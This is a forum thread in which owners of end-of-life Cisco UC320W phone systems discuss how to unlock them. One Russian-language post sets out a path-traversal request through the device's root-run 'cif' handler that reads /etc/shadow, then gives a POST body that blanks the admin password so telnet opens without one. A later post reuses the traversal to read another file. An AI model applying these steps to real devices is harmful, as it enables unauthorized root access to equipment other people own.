UC320 EOL - Unock?

[Paul Williamson]

Hi,

Does anyone know if there is any chance that CISCO will unlock our boxes after they stop selling/supporting the product?

Regards,

Paul.

[John Hoyt]

I would hope they would make a converter or the formula available to unlock these devices, rather than let you have the car with the hood welded shut.

I imagine if a few people were to share their serial numbers and the unlock code that Cisco has used for that particular unit, that we could figure it out.

I'll gladly share mine if others will.

John

[Steven Howes]

I was under the impression they were some kind of single use password, is that not the case? Either way, there are one or two other ways you can get SSH access if required. Some of the input sanitisation isn't perfect - I don't know if anyone would dare disclose how, or admit to doing it on a public forum. Some countries would explicitly allow it by law - so I'm sure someone in one of those countries will come up with the method and post it somewhere if Cisco didn't allow an unlock.

To be honest (I've heard) the underlying system is BusyBox and then a load of proprietary binaries - there isn't much to really do once you're there.

Steve

[Paul Williamson]

I've been inside the box - my first one had issues so they unlocked it whilst they tried to repair.  Sadly it had to be returned but whilst I was able to get in, there was lots that could be done, for eg you could alter the dial plans so you can dial out voip to voip.

Great if you have a branch office in another country as you could have free inter office calls.

If anyone knows how to unlock it i'd love to hear from you at will at electrickery dot com

Or if a very kind staffer would like my S/N so they can get the code and pass it on to me....... please don't hesitate to get in touch

[Efim Kuznetsov]

Paul Williamson написал(а):
If anyone knows how to unlock it i'd love to hear from you at will at electrickery dot com

And me please. emulty at yandex dot ru

[Efim Kuznetsov]

Muhaha!

--

UC320W login: admin
Password:

BusyBox v1.10.2 (2014-02-11 13:39:49 PST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# help

Built-in commands:
-------------------
        . : [ [[ alias bg break cd chdir continue echo eval exec exit
        export false fg hash help jobs let local pwd read readonly return
        set shift source test times trap true type ulimit umask unalias
        unset wait

#

--

It's easy.

[Paul Williamson]

Can you be a bit more specific only, when I do that it just takes me into the documented admin.

Are you just going to the box's own ip address from your browser or are you connecting a different way?

[John Hoyt]

Looks like the UC320W's IP is all he/she was using via telnet/ssh???

Would be nice to be able to get full maintenance/admin mode rights to manage these boxes.

[Efim Kuznetsov]

emATklsdDOTru

[Stephen Wyndham]

anyone get any further on this

[Efim Kuznetsov]

Решил поделиться наработками, всё равно компании Cisco на S&B давно насрать, полагаю они не должны обратить особого внимания. Исходники с них спрашивал несколько раз, но они тупо молчат.

Мне лень лень переводить на английский, иначе бы ничего не написал. Кому

надо разберется.

На своей железке я полностью локализировал морду телефонов и написал свой dial plan, на телефонах обновил до последней версии прошивки. По сути состряпал свой  регион пак.

Попробую описать структуру основных моментов.

Начнём с того, что роутер базируется на прошивке от SRP520, в бинарном файле httpd есть несколько упоминаний о нём. Также в каталоге ~/www/ лежит целая россыть файлов с расширением asp. К сожалению, по умолчанию большинство из них через http не доступны, демон httpd даёт полный доступ на чтение только к каталогу ~/www/wizard/.

Из того, что доступно через httpd:

http://192.168.10.1/askfordevmode.html

http://192.168.10.1/wizard/askfordevmode.html

только после авторизации:

http://192.168.10.1/admin/voice/

http://192.168.10.1/admin/cif

Теперь самое интересное. Процесс cif запущен с правами рута, также умеет работать с файловой системой. Это даёт возможность получать листинг каталогов, читать файлы и даже писать. Запросы выглядят так:

http://192.168.10.1/admin/cif?dir= — выдаст всё содержимое каталога ~/home/usb_disk

http://192.168.10.1/admin/cif?file=pb_db.txt — а так мы в текстовом виде получим всё содержимое файла ~/home/usb_disk/pb_db.txt

Внимание вопрос, а кто нам мешат получить содержимое файла shadow? Да никто!

http://192.168.10.1/admin/cif?file=/../../etc/shadow

Список пользователей и их соль мы уже имеем. Пароль на учетку admin генерируется и пишется каждый раз при запуске устройства, что немного неудобно. Соль всегда в одна, значит пароль всегда одинаковый. Создается он на основе MAC адреса устройства, но принцип мне не известен. Зато обнулить нам его никто не мешает, правда делать это надо каждый раз после перезапуска.

Создаем запрос с таким содержимым:

admin::0:0:99999:7:::

и методом POST через HTTP посылаем его по линку выше. После этого берём telnet и подключаемся к нему, введя в качестве имени пользователя admin, пароль он уже не спросит.

Дальше используя busybox, точнее его упаковщик tar и tftp можем быстро получать и заливать файлы на устройство.

Вся конфигурация хранится в формате XML. Опишу где чего:

~/home/usb_disk/cfg/misc/dynamicconfig.xml — параметры flash wizard

~/home/usb_disk/cfg/locales/ — region packs в XML и словари для IP телефонов

~/home/usb_disk/tftproot/ — папка из которой IP телефоны получают информацию о прошивках. Эти файлы первыми загружают IP телефоны, после получения по DHCP информации с адресом TFTP сервера

~/home/usb_disk/cfg/firmware/ — каталог с прошивками телефонов

Это самое важное, остальное описывать смысла не вижу, разберётесь уже самостоятельно.

Если кто будет ковырять httpd, то могу отметить, что он при запуске монтирует контейнер ~/home/usb_disk/wz.fs с доступом только на чтение к каталогу ~/www/wizard/

Прошу при каких-либо других наработках не забывать ими делиться с остальными.

P.S. Если у кого будет возможность, соберите SSH для него для более удобного доступа по SFTP, все вспомогательные компоненты там уже есть. Мне пока самому не до этого.

[Stephen Wyndham]

Great thanks - once I sort out the admin access I'll have a go at the SSH access and let you know

[Stephen Wyndham]

If we can unlock the device there is definitely some scope for improving the device 

http://192.168.0.1/admin/cif?file=/../../www/help/position_dsl.txt

"Troubleshooting/FAQ","HFAQ.asp"
"Internet Setup","HSetup_dsl.asp"
"Internet Setup Add Entry","HSetup_1_dsl.asp"
"Mobile Network","HMobile_network.asp"
"Failover & Recovery","HFailover.asp"
"DHCP Server","HDHCP.asp"
"DHCP Server Add Entry","HDHCP_1.asp"
"VLAN Settings","HVLAN.asp"
"VLAN Settings Add Entry","HVLAN_1.asp"
"Port Settings","HVLAN_PORT.asp"
"Basic Wireless Settings","HWireless_basic.asp"
"Wireless Security","HWPA.asp"
"Wi-Fi Protected Setup","HWPS.asp"
"Wireless MAC Filter","HWireless_mac.asp"
"Advanced Wireless Settings","HWireless_advanced.asp"
"WMM Settings","HWMM.asp"
"Management Interface","HLoopback.asp"
"Static Routes","HRouting.asp"
"Static Routes Add Entry","HRouting_1.asp"
"RIP","HRIP.asp"
"RIP Config","HRIP_1.asp"
"Intervlan Routing","HInt_Route.asp"
"NAT Setting","HNAT.asp"
"Port Forwarding","HForward_Port.asp"
"Port Forwarding Add Entry","HForward_Port_1.asp"
"Port Triggering","HTrigger.asp"
"Port Triggering Add Entry","HTrigger_1.asp"
"BandWidth Control","HBandWidth.asp"
"QoS Policy","HQoS.asp"
"QoS Policy Add Entry","HQoS_1.asp"
"Firewall Filter","HFirewall.asp"
"Internet Access Control","HFilters.asp"
"Internet Access Control Add Entry","HFilters_1.asp"
"PPPoE Relay","HPPPoE_Relay.asp"
"PPPoE Relay Add Entry","HPPPoE_Relay_1.asp"
"DDNS","HDDNS.asp"
"DMZ","HDMZ.asp"
"IGMP","HIGMP.asp"
"UPnP","HUPnP.asp"
"CDP","HCDP.asp"
"IKE Policy","HIKE.asp"
"IKE Policy Add Entry","HIKE_1.asp"
"IPSec Policy","HIPSec.asp"
"IPSec Policy Add Entry","HIPSec_1.asp"
"GRE Tunnel","HGRE.asp"
"GRE Tunnel Add Entry","HGRE_1.asp"
"VPN Passthrough","HVPN.asp"
"Web access management","HManagement.asp"
"TR-069","HTR.asp"
"SNMP","HSNMP.asp"
"Local TFTP","HTFTP.asp"
"Time Setup","HTime.asp"
"User List","HUser.asp"
"User List Add Entry","HUser_1.asp"
"Privilege Control","HPrivilege.asp"
"Log","HLog.asp"
"Factory Defaults","HDefault.asp"
"Firmware Upgrade","HUpgrade.asp"
"Backup Configuration","HBackup.asp"
"Restore Configuration","HRestore.asp"
"Reboot","HReboot.asp"
"Status","HSystem.asp"
"Ping Test","HPing.asp"
"Traceroute Test","HTraceroute.asp"
"Detect Active LAN Client(s)","HDetecthost.asp"
"ATM OAM Ping","HATM_OAM_Ping.asp"
"Router","HStatus_dsl.asp"
"Firewall Status","HStatus_Firewall.asp"
"Interface Information","HStatus_Iface.asp"
"Wireless Network","HStatus_Wireless.asp"
"Wireless Client Information","HStatus_C_wireless.asp"
"Mobile Network Status","HStatus_mobile.asp"
"DHCP Server Information","HStatus_dhcppool.asp"
"QoS Status","HStatus_Qos.asp"
"Routing Table","HStatus_Routing.asp"
"ARP Table","HStatus_ARP.asp"
"CDP Neighobor Information","HStatus_CDP.asp"
"ADSL Status","HStatus_ADSL.asp"
"PVC Status","HStatus_PVC.asp"

[Paul Williamson]

There is so much that can be done inside.  I had one for a while that was unlocked and even simple things like editing the call plans made it such a better product.

Unfortunately, it's getting inside the thing that's the problem!

[Stephen Wyndham]

I can't work out the POST method through HTTP for the shadow file to temporarily up data the admin password.